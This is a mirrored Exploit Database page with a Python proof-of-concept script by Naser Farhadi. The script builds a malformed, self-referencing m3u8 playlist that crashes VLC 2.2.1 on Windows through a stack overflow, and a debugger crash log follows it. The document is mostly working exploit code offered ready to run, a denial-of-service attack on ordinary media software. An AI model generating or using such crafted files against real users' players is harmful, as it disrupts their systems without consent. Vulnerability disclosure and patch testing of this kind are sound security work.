VideoLAN VLC Media Player 2.2.1 – m3u8/m3u Crash (PoC)

• Exploit Database
• 123 阅读

• 作者： Naser Farhadi
  日期： 2015-08-26
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/37976/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70

  #!/usr/bin/python   #   # VLC media player 2.2.1 m3u8/m3u Crash Proof Of Concept   #   # Author: Naser Farhadi   #   # Date: 25 August 2015 # Version: 2.2.1 # Tested on: Windows 7 SP1 (32 bit)   #   ##       """   ModLoad: 71ae0000 71b64000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll   httplive stream: HTTP Live Streaming (/C:/Users/test/Desktop/crash.m3u8)   ModLoad: 6c610000 6c622000 C:\Program Files\VideoLAN\VLC\plugins\meta_engine\libfolder_plugin.dll   (e38.554): Stack overflow - code c00000fd (first chance)   First chance exceptions are reported before any exception handling.   This exception may be expected and handled.   eax=00000000 ebx=04234238 ecx=04234138 edx=6ef83100 esi=6ef83124 edi=00000000   eip=7541694b esp=04233000 ebp=06e6b4ac iopl=0 nv up ei pl zr na pe nc   cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010246   KERNELBASE!FlsGetValue+0x2:   7541694b 55pushebp   """       filename = "crash.m3u8" # Or .m3u   buffer = ("\x23\x45\x58\x54\x4d\x33\x55\r\n\x23"   "\x45\x58\x54\x2d\x58\x2d\x53\x54\x52"   "\x45\x41\x4d\x2d\x49\x4e\x46\x3a\x50"   "\x52\x4f\x47\x52\x41\x4d\x2d\x49\x44"   "\x3d\x31\x2c\x42\x41\x4e\x44\x57\x49"   "\x44\x54\x48\x3d\x31\x2c\x52\x45\x53"   "\x4f\x4c\x55\x54\x49\x4f\x4e\x3d\x31"   "\x32\x30\x78\x33\x36\x30\r\n")   buffer += filename   open(filename, "wb").write(buffer)